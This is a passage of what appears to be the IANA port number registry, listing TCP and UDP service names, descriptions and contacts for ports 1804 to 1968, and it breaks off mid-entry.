enl                1804        udp    ENL                          [Brian_Olson]                                         [Brian_Olson]
enl-name           1805        tcp    ENL-Name                     [Brian_Olson]                                         [Brian_Olson]
enl-name           1805        udp    ENL-Name                     [Brian_Olson]                                         [Brian_Olson]
musiconline        1806        tcp    Musiconline                  [Craig_Weeks]                                         [Craig_Weeks]
musiconline        1806        udp    Musiconline                  [Craig_Weeks]                                         [Craig_Weeks]
fhsp               1807        tcp    Fujitsu Hot Standby Protocol [Eiki_Iwata]                                          [Eiki_Iwata]
fhsp               1807        udp    Fujitsu Hot Standby Protocol [Eiki_Iwata]                                          [Eiki_Iwata]
oracle-vp2         1808        tcp    Oracle-VP2                   [Craig_Fowler]                                        [Craig_Fowler]
oracle-vp2         1808        udp    Oracle-VP2                   [Craig_Fowler]                                        [Craig_Fowler]
oracle-vp1         1809        tcp    Oracle-VP1                   [Craig_Fowler]                                        [Craig_Fowler]
oracle-vp1         1809        udp    Oracle-VP1                   [Craig_Fowler]                                        [Craig_Fowler]
jerand-lm          1810        tcp    Jerand License Manager       [Robert_Monat]                                        [Robert_Monat]
jerand-lm          1810        udp    Jerand License Manager       [Robert_Monat]                                        [Robert_Monat]
scientia-sdb       1811        tcp    Scientia-SDB                 [SYSTEMS_MANAGER]                                     [SYSTEMS_MANAGER]
scientia-sdb       1811        udp    Scientia-SDB                 [SYSTEMS_MANAGER]                                     [SYSTEMS_MANAGER]
radius             1812        tcp    RADIUS                                                                                                                                                                 [RFC2865]
radius             1812        udp    RADIUS                                                                                                                                                                 [RFC2865]
radius-acct        1813        tcp    RADIUS Accounting                                                                                                                                                      [RFC2866]
radius-acct        1813        udp    RADIUS Accounting                                                                                                                                                      [RFC2866]
tdp-suite          1814        tcp    TDP Suite                    [Rob_Lockhart]                                        [Rob_Lockhart]
tdp-suite          1814        udp    TDP Suite                    [Rob_Lockhart]                                        [Rob_Lockhart]
mmpft              1815        tcp    MMPFT                        [Ralf_Muckenhirn]                                     [Ralf_Muckenhirn]
mmpft              1815        udp    MMPFT                        [Ralf_Muckenhirn]                                     [Ralf_Muckenhirn]
harp               1816        tcp    HARP                         [Bjorn_Chambless]                                     [Bjorn_Chambless]
harp               1816        udp    HARP                         [Bjorn_Chambless]                                     [Bjorn_Chambless]
rkb-oscs           1817        tcp    RKB-OSCS                     [Robert_Kevin_Breton]                                 [Robert_Kevin_Breton]
rkb-oscs           1817        udp    RKB-OSCS                     [Robert_Kevin_Breton]                                 [Robert_Kevin_Breton]
etftp              1818        tcp    Enhanced Trivial File        [William_Polites]                                     [William_Polites]
                                      Transfer Protocol
etftp              1818        udp    Enhanced Trivial File        [William_Polites]                                     [William_Polites]
                                      Transfer Protocol
plato-lm           1819        tcp    Plato License Manager        [Mark_Morris]                                         [Mark_Morris]
plato-lm           1819        udp    Plato License Manager        [Mark_Morris]                                         [Mark_Morris]
mcagent            1820        tcp    mcagent                      [Ryoichi_Shinohara]                                   [Ryoichi_Shinohara]
mcagent            1820        udp    mcagent                      [Ryoichi_Shinohara]                                   [Ryoichi_Shinohara]
donnyworld         1821        tcp    donnyworld                   [Don_Oliver]                                          [Don_Oliver]
donnyworld         1821        udp    donnyworld                   [Don_Oliver]                                          [Don_Oliver]
es-elmd            1822        tcp    es-elmd                      [David_Duncan]                                        [David_Duncan]
es-elmd            1822        udp    es-elmd                      [David_Duncan]                                        [David_Duncan]
unisys-lm          1823        tcp    Unisys Natural Language      [Raymond_A_Diedrichs]                                 [Raymond_A_Diedrichs]
                                      License Manager
unisys-lm          1823        udp    Unisys Natural Language      [Raymond_A_Diedrichs]                                 [Raymond_A_Diedrichs]
                                      License Manager
metrics-pas        1824        tcp    metrics-pas                  [Tom_Haapanen]                                        [Tom_Haapanen]
metrics-pas        1824        udp    metrics-pas                  [Tom_Haapanen]                                        [Tom_Haapanen]
direcpc-video      1825        tcp    DirecPC Video                [Chris_Kerrigan]                                      [Chris_Kerrigan]
direcpc-video      1825        udp    DirecPC Video                [Chris_Kerrigan]                                      [Chris_Kerrigan]
ardt               1826        tcp    ARDT                         [Mike_Goddard]                                        [Mike_Goddard]
ardt               1826        udp    ARDT                         [Mike_Goddard]                                        [Mike_Goddard]
asi                1827        tcp    ASI                          [Bob_Tournoux]                                        [Bob_Tournoux]
asi                1827        udp    ASI                          [Bob_Tournoux]                                        [Bob_Tournoux]
itm-mcell-u        1828        tcp    itm-mcell-u                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
itm-mcell-u        1828        udp    itm-mcell-u                  [Portnoy_Boxman]                                      [Portnoy_Boxman]
optika-emedia      1829        tcp    Optika eMedia                [Daryle_DeBalski]                                     [Daryle_DeBalski]
optika-emedia      1829        udp    Optika eMedia                [Daryle_DeBalski]                                     [Daryle_DeBalski]
net8-cman          1830        tcp    Oracle Net8 CMan Admin       [Shuvayu_Kanjilal]                                    [Shuvayu_Kanjilal]
net8-cman          1830        udp    Oracle Net8 CMan Admin       [Shuvayu_Kanjilal]                                    [Shuvayu_Kanjilal]
myrtle             1831        tcp    Myrtle                       [Ron_Achin]                                           [Ron_Achin]
myrtle             1831        udp    Myrtle                       [Ron_Achin]                                           [Ron_Achin]
tht-treasure       1832        tcp    ThoughtTreasure              [Erik_Mueller]                                        [Erik_Mueller]
tht-treasure       1832        udp    ThoughtTreasure              [Erik_Mueller]                                        [Erik_Mueller]
udpradio           1833        tcp    udpradio                     [Guus_Sliepen]                                        [Guus_Sliepen]
udpradio           1833        udp    udpradio                     [Guus_Sliepen]                                        [Guus_Sliepen]
ardusuni           1834        tcp    ARDUS Unicast
ardusuni           1834        udp    ARDUS Unicast
ardusmul           1835        tcp    ARDUS Multicast              [Toshikatsu_Ito]                                      [Toshikatsu_Ito]
ardusmul           1835        udp    ARDUS Multicast              [Toshikatsu_Ito]                                      [Toshikatsu_Ito]
ste-smsc           1836        tcp    ste-smsc                     [Tom_Snauwaert]                                       [Tom_Snauwaert]
ste-smsc           1836        udp    ste-smsc                     [Tom_Snauwaert]                                       [Tom_Snauwaert]
csoft1             1837        tcp    csoft1                       [John_Coll]                                           [John_Coll]
csoft1             1837        udp    csoft1                       [John_Coll]                                           [John_Coll]
talnet             1838        tcp    TALNET                       [Aaron_Lav]                                           [Aaron_Lav]
talnet             1838        udp    TALNET                       [Aaron_Lav]                                           [Aaron_Lav]
netopia-vo1        1839        tcp    netopia-vo1
netopia-vo1        1839        udp    netopia-vo1
netopia-vo2        1840        tcp    netopia-vo2
netopia-vo2        1840        udp    netopia-vo2
netopia-vo3        1841        tcp    netopia-vo3
netopia-vo3        1841        udp    netopia-vo3
netopia-vo4        1842        tcp    netopia-vo4
netopia-vo4        1842        udp    netopia-vo4
netopia-vo5        1843        tcp    netopia-vo5                  [Marc_Epard]                                          [Marc_Epard]
netopia-vo5        1843        udp    netopia-vo5                  [Marc_Epard]                                          [Marc_Epard]
direcpc-dll        1844        tcp    DirecPC-DLL                  [Chris_Kerrigan]                                      [Chris_Kerrigan]
direcpc-dll        1844        udp    DirecPC-DLL                  [Chris_Kerrigan]                                      [Chris_Kerrigan]
altalink           1845        tcp    altalink                     [Alberto_Raydan]                                      [Alberto_Raydan]
altalink           1845        udp    altalink                     [Alberto_Raydan]                                      [Alberto_Raydan]
tunstall-pnc       1846        tcp    Tunstall PNC                 [Robert_M_Moore]                                      [Robert_M_Moore]
tunstall-pnc       1846        udp    Tunstall PNC                 [Robert_M_Moore]                                      [Robert_M_Moore]
slp-notify         1847        tcp    SLP Notification                                                                                                                                                       [RFC3082]
slp-notify         1847        udp    SLP Notification                                                                                                                                                       [RFC3082]
fjdocdist          1848        tcp    fjdocdist                    [Yuichi_Ohiwa]                                        [Yuichi_Ohiwa]
fjdocdist          1848        udp    fjdocdist                    [Yuichi_Ohiwa]                                        [Yuichi_Ohiwa]
alpha-sms          1849        tcp    ALPHA-SMS                    [Benjamin_Grimm]                                      [Benjamin_Grimm]
alpha-sms          1849        udp    ALPHA-SMS                    [Benjamin_Grimm]                                      [Benjamin_Grimm]
gsi                1850        tcp    GSI                          [William_Mullaney]                                    [William_Mullaney]
gsi                1850        udp    GSI                          [William_Mullaney]                                    [William_Mullaney]
ctcd               1851        tcp    ctcd                         [John_Ryan]                                           [John_Ryan]
ctcd               1851        udp    ctcd                         [John_Ryan]                                           [John_Ryan]
virtual-time       1852        tcp    Virtual Time                 [Angie_S_Morner]                                      [Angie_S_Morner]
virtual-time       1852        udp    Virtual Time                 [Angie_S_Morner]                                      [Angie_S_Morner]
vids-avtp          1853        tcp    VIDS-AVTP                    [Sascha_Kuemmel]                                      [Sascha_Kuemmel]
vids-avtp          1853        udp    VIDS-AVTP                    [Sascha_Kuemmel]                                      [Sascha_Kuemmel]
buddy-draw         1854        tcp    Buddy Draw                   [Marvin_Shin]                                         [Marvin_Shin]
buddy-draw         1854        udp    Buddy Draw                   [Marvin_Shin]                                         [Marvin_Shin]
fiorano-rtrsvc     1855        tcp    Fiorano RtrSvc
fiorano-rtrsvc     1855        udp    Fiorano RtrSvc
fiorano-msgsvc     1856        tcp    Fiorano MsgSvc               [Albert_Holt_2]                                       [Albert_Holt_2]
fiorano-msgsvc     1856        udp    Fiorano MsgSvc               [Albert_Holt_2]                                       [Albert_Holt_2]
datacaptor         1857        tcp    DataCaptor                   [Steven_M_Forrester]                                  [Steven_M_Forrester]
datacaptor         1857        udp    DataCaptor                   [Steven_M_Forrester]                                  [Steven_M_Forrester]
privateark         1858        tcp    PrivateArk                   [Ronen_Zoran]                                         [Ronen_Zoran]
privateark         1858        udp    PrivateArk                   [Ronen_Zoran]                                         [Ronen_Zoran]
gammafetchsvr      1859        tcp    Gamma Fetcher Server         [Cnaan_Aviv]                                          [Cnaan_Aviv]
gammafetchsvr      1859        udp    Gamma Fetcher Server         [Cnaan_Aviv]                                          [Cnaan_Aviv]
sunscalar-svc      1860        tcp    SunSCALAR Services           [Sanjay_Radia]                                        [Sanjay_Radia]
sunscalar-svc      1860        udp    SunSCALAR Services           [Sanjay_Radia]                                        [Sanjay_Radia]
lecroy-vicp        1861        tcp    LeCroy VICP                  [Anthony_Cake]                                        [Anthony_Cake]
lecroy-vicp        1861        udp    LeCroy VICP                  [Anthony_Cake]                                        [Anthony_Cake]
mysql-cm-agent     1862        tcp    MySQL Cluster Manager Agent  [Andrew_Morgan]                                       [Andrew_Morgan]                                           2009-12-08
mysql-cm-agent     1862        udp    MySQL Cluster Manager Agent  [Andrew_Morgan]                                       [Andrew_Morgan]                                           2009-12-08
msnp               1863        tcp    MSNP                         [William_Lai]                                         [William_Lai]
msnp               1863        udp    MSNP                         [William_Lai]                                         [William_Lai]
paradym-31port     1864        tcp    Paradym 31 Port              [David_Wooden]                                        [David_Wooden]
paradym-31port     1864        udp    Paradym 31 Port              [David_Wooden]                                        [David_Wooden]
entp               1865        tcp    ENTP                         [Seiko_Epson]                                         [Seiko_Epson]
entp               1865        udp    ENTP                         [Seiko_Epson]                                         [Seiko_Epson]
swrmi              1866        tcp    swrmi                        [Jun_Yoshii]                                          [Jun_Yoshii]
swrmi              1866        udp    swrmi                        [Jun_Yoshii]                                          [Jun_Yoshii]
udrive             1867        tcp    UDRIVE                       [Robby_Walker]                                        [Robby_Walker]
udrive             1867        udp    UDRIVE                       [Robby_Walker]                                        [Robby_Walker]
viziblebrowser     1868        tcp    VizibleBrowser               [Jimmy_Talbot]                                        [Jimmy_Talbot]
viziblebrowser     1868        udp    VizibleBrowser               [Jimmy_Talbot]                                        [Jimmy_Talbot]
transact           1869        tcp    TransAct                     [TransAct_Futures_Dev]                                [TransAct_Futures_Dev]
transact           1869        udp    TransAct                     [TransAct_Futures_Dev]                                [TransAct_Futures_Dev]
sunscalar-dns      1870        tcp    SunSCALAR DNS Service        [Sanjay_Radia]                                        [Sanjay_Radia]
sunscalar-dns      1870        udp    SunSCALAR DNS Service        [Sanjay_Radia]                                        [Sanjay_Radia]
canocentral0       1871        tcp    Cano Central 0
canocentral0       1871        udp    Cano Central 0
canocentral1       1872        tcp    Cano Central 1               [Mark_McNamara]                                       [Mark_McNamara]
canocentral1       1872        udp    Cano Central 1               [Mark_McNamara]                                       [Mark_McNamara]
fjmpjps            1873        tcp    Fjmpjps
fjmpjps            1873        udp    Fjmpjps
fjswapsnp          1874        tcp    Fjswapsnp                    [Y_Ohiwa]                                             [Y_Ohiwa]
fjswapsnp          1874        udp    Fjswapsnp                    [Y_Ohiwa]                                             [Y_Ohiwa]
westell-stats      1875        tcp    westell stats                [Thomas_McCabe]                                       [Thomas_McCabe]
westell-stats      1875        udp    westell stats                [Thomas_McCabe]                                       [Thomas_McCabe]
ewcappsrv          1876        tcp    ewcappsrv                    [Howard_Yin]                                          [Howard_Yin]
ewcappsrv          1876        udp    ewcappsrv                    [Howard_Yin]                                          [Howard_Yin]
hp-webqosdb        1877        tcp    hp-webqosdb                  [Kim_Scott]                                           [Kim_Scott]
hp-webqosdb        1877        udp    hp-webqosdb                  [Kim_Scott]                                           [Kim_Scott]
drmsmc             1878        tcp    drmsmc                       [Katsuhiko_Abe]                                       [Katsuhiko_Abe]
drmsmc             1878        udp    drmsmc                       [Katsuhiko_Abe]                                       [Katsuhiko_Abe]
nettgain-nms       1879        tcp    NettGain NMS                 [Dr_Yair_Shapira]                                     [Dr_Yair_Shapira]
nettgain-nms       1879        udp    NettGain NMS                 [Dr_Yair_Shapira]                                     [Dr_Yair_Shapira]
vsat-control       1880        tcp    Gilat VSAT Control           [Yariv_Kaplan]                                        [Yariv_Kaplan]
vsat-control       1880        udp    Gilat VSAT Control           [Yariv_Kaplan]                                        [Yariv_Kaplan]
ibm-mqseries2      1881        tcp    IBM WebSphere MQ Everyplace  [Jane_Porter]                                         [Jane_Porter]
ibm-mqseries2      1881        udp    IBM WebSphere MQ Everyplace  [Jane_Porter]                                         [Jane_Porter]
ecsqdmn            1882        tcp    CA eTrust Common Services    [Paul_Wissmiller]                                     [Paul_Wissmiller]
ecsqdmn            1882        udp    CA eTrust Common Services    [Paul_Wissmiller]                                     [Paul_Wissmiller]
mqtt               1883        tcp    Message Queuing Telemetry    [OASIS]                                               [Robin_Cover]                                                          2015-02-10
                                      Transport Protocol
mqtt               1883        udp    Message Queuing Telemetry    [OASIS]                                               [Robin_Cover]                                                          2015-02-10
                                      Transport Protocol
idmaps             1884        tcp    Internet Distance Map Svc    [Sugih_Jamim]                                         [Sugih_Jamim]
idmaps             1884        udp    Internet Distance Map Svc    [Sugih_Jamim]                                         [Sugih_Jamim]
vrtstrapserver     1885        tcp    Veritas Trap Server          [Russell_Thrasher]                                    [Russell_Thrasher]
vrtstrapserver     1885        udp    Veritas Trap Server          [Russell_Thrasher]                                    [Russell_Thrasher]
leoip              1886        tcp    Leonardo over IP             [Dietmar_Finkler]                                     [Dietmar_Finkler]
leoip              1886        udp    Leonardo over IP             [Dietmar_Finkler]                                     [Dietmar_Finkler]
filex-lport        1887        tcp    FileX Listening Port         [Megan_Woods]                                         [Megan_Woods]
filex-lport        1887        udp    FileX Listening Port         [Megan_Woods]                                         [Megan_Woods]
ncconfig           1888        tcp    NC Config Port               [Simon_Parker]                                        [Simon_Parker]
ncconfig           1888        udp    NC Config Port               [Simon_Parker]                                        [Simon_Parker]
unify-adapter      1889        tcp    Unify Web Adapter Service    [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
unify-adapter      1889        udp    Unify Web Adapter Service    [Daegis_Inc]                                          [Chris_Anderson]                                                       2012-07-31
wilkenlistener     1890        tcp    wilkenListener               [Wilken_GmbH]                                         [Wilken_GmbH]
wilkenlistener     1890        udp    wilkenListener               [Wilken_GmbH]                                         [Wilken_GmbH]
childkey-notif     1891        tcp    ChildKey Notification
childkey-notif     1891        udp    ChildKey Notification
childkey-ctrl      1892        tcp    ChildKey Control             [Ivan_Berardinelli]                                   [Ivan_Berardinelli]
childkey-ctrl      1892        udp    ChildKey Control             [Ivan_Berardinelli]                                   [Ivan_Berardinelli]
elad               1893        tcp    ELAD Protocol                [Franco_Milan]                                        [Franco_Milan]
elad               1893        udp    ELAD Protocol                [Franco_Milan]                                        [Franco_Milan]
o2server-port      1894        tcp    O2Server Port                [Tim_Howard]                                          [Tim_Howard]
o2server-port      1894        udp    O2Server Port                [Tim_Howard]                                          [Tim_Howard]
                   1895        tcp    unassigned                                                                                                                                                                                                                                  Microsoft (unoffically) using 1895
                   1895        udp    unassigned                                                                                                                                                                                                                                  Microsoft (unoffically) using 1895
b-novative-ls      1896        tcp    b-novative license server    [Matthias_Riese]                                      [Matthias_Riese]
b-novative-ls      1896        udp    b-novative license server    [Matthias_Riese]                                      [Matthias_Riese]
metaagent          1897        tcp    MetaAgent                    [Marie_France_Dubreui]                                [Marie_France_Dubreui]
metaagent          1897        udp    MetaAgent                    [Marie_France_Dubreui]                                [Marie_France_Dubreui]
cymtec-port        1898        tcp    Cymtec secure management     [Michael_Mester]                                      [Michael_Mester]
cymtec-port        1898        udp    Cymtec secure management     [Michael_Mester]                                      [Michael_Mester]
mc2studios         1899        tcp    MC2Studios                   [Michael_Coon]                                        [Michael_Coon]
mc2studios         1899        udp    MC2Studios                   [Michael_Coon]                                        [Michael_Coon]
ssdp               1900        tcp    SSDP                         [UPnP_Forum]                                          [UPnP_Forum]
ssdp               1900        udp    SSDP                         [UPnP_Forum]                                          [UPnP_Forum]
fjicl-tep-a        1901        tcp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program A
fjicl-tep-a        1901        udp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program A
fjicl-tep-b        1902        tcp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program B
fjicl-tep-b        1902        udp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program B
linkname           1903        tcp    Local Link Name Resolution   [Dan_Harrington]                                      [Dan_Harrington]
linkname           1903        udp    Local Link Name Resolution   [Dan_Harrington]                                      [Dan_Harrington]
fjicl-tep-c        1904        tcp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program C
fjicl-tep-c        1904        udp    Fujitsu ICL Terminal         [Bob_Lyon]                                            [Bob_Lyon]
                                      Emulator Program C
sugp               1905        tcp    Secure UP.Link Gateway       [Peter_King]                                          [Peter_King]
                                      Protocol
sugp               1905        udp    Secure UP.Link Gateway       [Peter_King]                                          [Peter_King]
                                      Protocol
tpmd               1906        tcp    TPortMapperReq               [Sheila_Devins]                                       [Sheila_Devins]
tpmd               1906        udp    TPortMapperReq               [Sheila_Devins]                                       [Sheila_Devins]
intrastar          1907        tcp    IntraSTAR                    [Peter_Schoenberger]                                  [Peter_Schoenberger]
intrastar          1907        udp    IntraSTAR                    [Peter_Schoenberger]                                  [Peter_Schoenberger]
dawn               1908        tcp    Dawn                         [Michael_Crawford_2]                                  [Michael_Crawford_2]
dawn               1908        udp    Dawn                         [Michael_Crawford_2]                                  [Michael_Crawford_2]
global-wlink       1909        tcp    Global World Link            [Nicholas_Davies]                                     [Nicholas_Davies]
global-wlink       1909        udp    Global World Link            [Nicholas_Davies]                                     [Nicholas_Davies]
ultrabac           1910        tcp    UltraBac Software            [Paul_Bunn]                                           [Paul_Bunn]
                                      communications port
ultrabac           1910        udp    UltraBac Software            [Paul_Bunn]                                           [Paul_Bunn]
                                      communications port
                                      Starlight Networks
mtp                1911        tcp    Multimedia Transport         [Bruce_Lieberman]                                     [Bruce_Lieberman]
                                      Protocol
                                      Starlight Networks
mtp                1911        udp    Multimedia Transport         [Bruce_Lieberman]                                     [Bruce_Lieberman]
                                      Protocol
rhp-iibp           1912        tcp    rhp-iibp                     [George_Nachman][Tom_Lake]                            [George_Nachman][Tom_Lake]
rhp-iibp           1912        udp    rhp-iibp                     [George_Nachman][Tom_Lake]                            [George_Nachman][Tom_Lake]
armadp             1913        tcp    armadp                       [Kevin_Welton]                                        [Kevin_Welton]
armadp             1913        udp    armadp                       [Kevin_Welton]                                        [Kevin_Welton]
elm-momentum       1914        tcp    Elm-Momentum                 [Willie_Wu]                                           [Willie_Wu]
elm-momentum       1914        udp    Elm-Momentum                 [Willie_Wu]                                           [Willie_Wu]
facelink           1915        tcp    FACELINK                     [J_H_Hermans]                                         [J_H_Hermans]
facelink           1915        udp    FACELINK                     [J_H_Hermans]                                         [J_H_Hermans]
persona            1916        tcp    Persoft Persona              [Tom_Spidell]                                         [Tom_Spidell]
persona            1916        udp    Persoft Persona              [Tom_Spidell]                                         [Tom_Spidell]
noagent            1917        tcp    nOAgent                      [Martin_Bestmann]                                     [Martin_Bestmann]
noagent            1917        udp    nOAgent                      [Martin_Bestmann]                                     [Martin_Bestmann]
can-nds            1918        tcp    IBM Tivole Directory Service
                                      - NDS
can-nds            1918        udp    IBM Tivole Directory Service
                                      - NDS
can-dch            1919        tcp    IBM Tivoli Directory Service
                                      - DCH
can-dch            1919        udp    IBM Tivoli Directory Service
                                      - DCH
can-ferret         1920        tcp    IBM Tivoli Directory Service [Nic_Catrambone]                                      [Nic_Catrambone]
                                      - FERRET
can-ferret         1920        udp    IBM Tivoli Directory Service [Nic_Catrambone]                                      [Nic_Catrambone]
                                      - FERRET
noadmin            1921        tcp    NoAdmin                      [Martin_Bestmann]                                     [Martin_Bestmann]
noadmin            1921        udp    NoAdmin                      [Martin_Bestmann]                                     [Martin_Bestmann]
tapestry           1922        tcp    Tapestry                     [Ken_Oliver]                                          [Ken_Oliver]
tapestry           1922        udp    Tapestry                     [Ken_Oliver]                                          [Ken_Oliver]
spice              1923        tcp    SPICE                        [Nicholas_Chua]                                       [Nicholas_Chua]
spice              1923        udp    SPICE                        [Nicholas_Chua]                                       [Nicholas_Chua]
xiip               1924        tcp    XIIP                         [Alain_Robert_2]                                      [Alain_Robert_2]
xiip               1924        udp    XIIP                         [Alain_Robert_2]                                      [Alain_Robert_2]
discovery-port     1925        tcp    Surrogate Discovery Port     [Keith_Thompson]                                      [Keith_Thompson]
discovery-port     1925        udp    Surrogate Discovery Port     [Keith_Thompson]                                      [Keith_Thompson]
egs                1926        tcp    Evolution Game Server        [Simon_Butcher]                                       [Simon_Butcher]
egs                1926        udp    Evolution Game Server        [Simon_Butcher]                                       [Simon_Butcher]
videte-cipc        1927        tcp    Videte CIPC Port             [Videte_IT]                                           [Videte_IT]
videte-cipc        1927        udp    Videte CIPC Port             [Videte_IT]                                           [Videte_IT]
emsd-port          1928        tcp    Expnd Maui Srvr Dscovr       [Edo_Yahav]                                           [Edo_Yahav]
emsd-port          1928        udp    Expnd Maui Srvr Dscovr       [Edo_Yahav]                                           [Edo_Yahav]
bandwiz-system     1929        tcp    Bandwiz System - Server      [Joseph_Weihs]                                        [Joseph_Weihs]
bandwiz-system     1929        udp    Bandwiz System - Server      [Joseph_Weihs]                                        [Joseph_Weihs]
driveappserver     1930        tcp    Drive AppServer              [Andrew_Johnson]                                      [Andrew_Johnson]
driveappserver     1930        udp    Drive AppServer              [Andrew_Johnson]                                      [Andrew_Johnson]
amdsched           1931        tcp    AMD SCHED                    [Michael_Walsh]                                       [Michael_Walsh]
amdsched           1931        udp    AMD SCHED                    [Michael_Walsh]                                       [Michael_Walsh]
ctt-broker         1932        tcp    CTT Broker                   [Jens_Edlund]                                         [Jens_Edlund]
ctt-broker         1932        udp    CTT Broker                   [Jens_Edlund]                                         [Jens_Edlund]
xmapi              1933        tcp    IBM LM MT Agent
xmapi              1933        udp    IBM LM MT Agent
xaapi              1934        tcp    IBM LM Appl Agent            [Helga_Wolin]                                         [Helga_Wolin]
xaapi              1934        udp    IBM LM Appl Agent            [Helga_Wolin]                                         [Helga_Wolin]
macromedia-fcs     1935        tcp    Macromedia Flash             [Pritham_Shetty]                                      [Pritham_Shetty]
                                      Communications Server MX
macromedia-fcs     1935        udp    Macromedia Flash             [Pritham_Shetty]                                      [Pritham_Shetty]
                                      Communications server MX
jetcmeserver       1936        tcp    JetCmeServer Server Port
jetcmeserver       1936        udp    JetCmeServer Server Port
jwserver           1937        tcp    JetVWay Server Port
jwserver           1937        udp    JetVWay Server Port
jwclient           1938        tcp    JetVWay Client Port
jwclient           1938        udp    JetVWay Client Port
jvserver           1939        tcp    JetVision Server Port
jvserver           1939        udp    JetVision Server Port
jvclient           1940        tcp    JetVision Client Port        [Stephen_Tsun]                                        [Stephen_Tsun]
jvclient           1940        udp    JetVision Client Port        [Stephen_Tsun]                                        [Stephen_Tsun]
dic-aida           1941        tcp    DIC-Aida                     [Frans_S_C_Witte]                                     [Frans_S_C_Witte]
dic-aida           1941        udp    DIC-Aida                     [Frans_S_C_Witte]                                     [Frans_S_C_Witte]
res                1942        tcp    Real Enterprise Service      [Bob_Janssen]                                         [Bob_Janssen]
res                1942        udp    Real Enterprise Service      [Bob_Janssen]                                         [Bob_Janssen]
beeyond-media      1943        tcp    Beeyond Media                [Bob_Deblier]                                         [Bob_Deblier]
beeyond-media      1943        udp    Beeyond Media                [Bob_Deblier]                                         [Bob_Deblier]
close-combat       1944        tcp    close-combat                 [David_Hua]                                           [David_Hua]
close-combat       1944        udp    close-combat                 [David_Hua]                                           [David_Hua]
dialogic-elmd      1945        tcp    dialogic-elmd                [Roger_Kay]                                           [Roger_Kay]
dialogic-elmd      1945        udp    dialogic-elmd                [Roger_Kay]                                           [Roger_Kay]
tekpls             1946        tcp    tekpls                       [Brian_Abramson_2]                                    [Brian_Abramson_2]
tekpls             1946        udp    tekpls                       [Brian_Abramson_2]                                    [Brian_Abramson_2]
                                                                                                                                                                                                                                                                     Unauthorized
sentinelsrm        1947        tcp    SentinelSRM                  [Michael_Zunke_2]                                     [Michael_Zunke_2]                                         2010-07-23                                                                        Use Known on
                                                                                                                                                                                                                                                                     port 1947
                                                                                                                                                                                                                                                                     Unauthorized
sentinelsrm        1947        udp    SentinelSRM                  [Michael_Zunke_2]                                     [Michael_Zunke_2]                                         2010-07-23                                                                        Use Known on
                                                                                                                                                                                                                                                                     port 1947
eye2eye            1948        tcp    eye2eye                      [Trevor_Bell]                                         [Trevor_Bell]
eye2eye            1948        udp    eye2eye                      [Trevor_Bell]                                         [Trevor_Bell]
ismaeasdaqlive     1949        tcp    ISMA Easdaq Live             [Stephen_Dunne]                                       [Stephen_Dunne]
ismaeasdaqlive     1949        udp    ISMA Easdaq Live             [Stephen_Dunne]                                       [Stephen_Dunne]
ismaeasdaqtest     1950        tcp    ISMA Easdaq Test             [Stephen_Dunne]                                       [Stephen_Dunne]
ismaeasdaqtest     1950        udp    ISMA Easdaq Test             [Stephen_Dunne]                                       [Stephen_Dunne]
bcs-lmserver       1951        tcp    bcs-lmserver                 [Andy_Warner]                                         [Andy_Warner]
bcs-lmserver       1951        udp    bcs-lmserver                 [Andy_Warner]                                         [Andy_Warner]
mpnjsc             1952        tcp    mpnjsc                       [Takenori_Miyahara]                                   [Takenori_Miyahara]
mpnjsc             1952        udp    mpnjsc                       [Takenori_Miyahara]                                   [Takenori_Miyahara]
rapidbase          1953        tcp    Rapid Base                   [Antoni_Wolski]                                       [Antoni_Wolski]
rapidbase          1953        udp    Rapid Base                   [Antoni_Wolski]                                       [Antoni_Wolski]
abr-api            1954        tcp    ABR-API (diskbridge)
abr-api            1954        udp    ABR-API (diskbridge)
abr-secure         1955        tcp    ABR-Secure Data (diskbridge) [Graham_Wooden]                                       [Graham_Wooden]
abr-secure         1955        udp    ABR-Secure Data (diskbridge) [Graham_Wooden]                                       [Graham_Wooden]
vrtl-vmf-ds        1956        tcp    Vertel VMF DS                [Alan_Akahoshi]                                       [Alan_Akahoshi]
vrtl-vmf-ds        1956        udp    Vertel VMF DS                [Alan_Akahoshi]                                       [Alan_Akahoshi]
unix-status        1957        tcp    unix-status                  [Thomas_Erskine]                                      [Thomas_Erskine]
unix-status        1957        udp    unix-status                  [Thomas_Erskine]                                      [Thomas_Erskine]
dxadmind           1958        tcp    CA Administration Daemon     [John_Birrell]                                        [John_Birrell]
dxadmind           1958        udp    CA Administration Daemon     [John_Birrell]                                        [John_Birrell]
simp-all           1959        tcp    SIMP Channel                 [Tim_Hunnewell]                                       [Tim_Hunnewell]
simp-all           1959        udp    SIMP Channel                 [Tim_Hunnewell]                                       [Tim_Hunnewell]
nasmanager         1960        tcp    Merit DAC NASmanager         [Richard_S_Conto]                                     [Richard_S_Conto]
nasmanager         1960        udp    Merit DAC NASmanager         [Richard_S_Conto]                                     [Richard_S_Conto]
bts-appserver      1961        tcp    BTS APPSERVER                [Carl_Obsorn]                                         [Carl_Obsorn]
bts-appserver      1961        udp    BTS APPSERVER                [Carl_Obsorn]                                         [Carl_Obsorn]
biap-mp            1962        tcp    BIAP-MP                      [Louis_Slothouber]                                    [Louis_Slothouber]
biap-mp            1962        udp    BIAP-MP                      [Louis_Slothouber]                                    [Louis_Slothouber]
webmachine         1963        tcp    WebMachine                   [Tim_Jowers]                                          [Tim_Jowers]
webmachine         1963        udp    WebMachine                   [Tim_Jowers]                                          [Tim_Jowers]
solid-e-engine     1964        tcp    SOLID E ENGINE               [Ari_Valtanen]                                        [Ari_Valtanen]
solid-e-engine     1964        udp    SOLID E ENGINE               [Ari_Valtanen]                                        [Ari_Valtanen]
tivoli-npm         1965        tcp    Tivoli NPM                   [Ivana_Cuozzo]                                        [Ivana_Cuozzo]
tivoli-npm         1965        udp    Tivoli NPM                   [Ivana_Cuozzo]                                        [Ivana_Cuozzo]
slush              1966        tcp    Slush                        [Damien_Miller]                                       [Damien_Miller]
slush              1966        udp    Slush                        [Damien_Miller]                                       [Damien_Miller]
sns-quote          1967        tcp    SNS Quote                    [Robert_Ellman]                                       [Robert_Ellman]
sns-quote          1967        udp    SNS Quote                    [Robert_Ellman]                                       [Robert_Ellman]
lipsinc            1968        tcp    LIPSinc
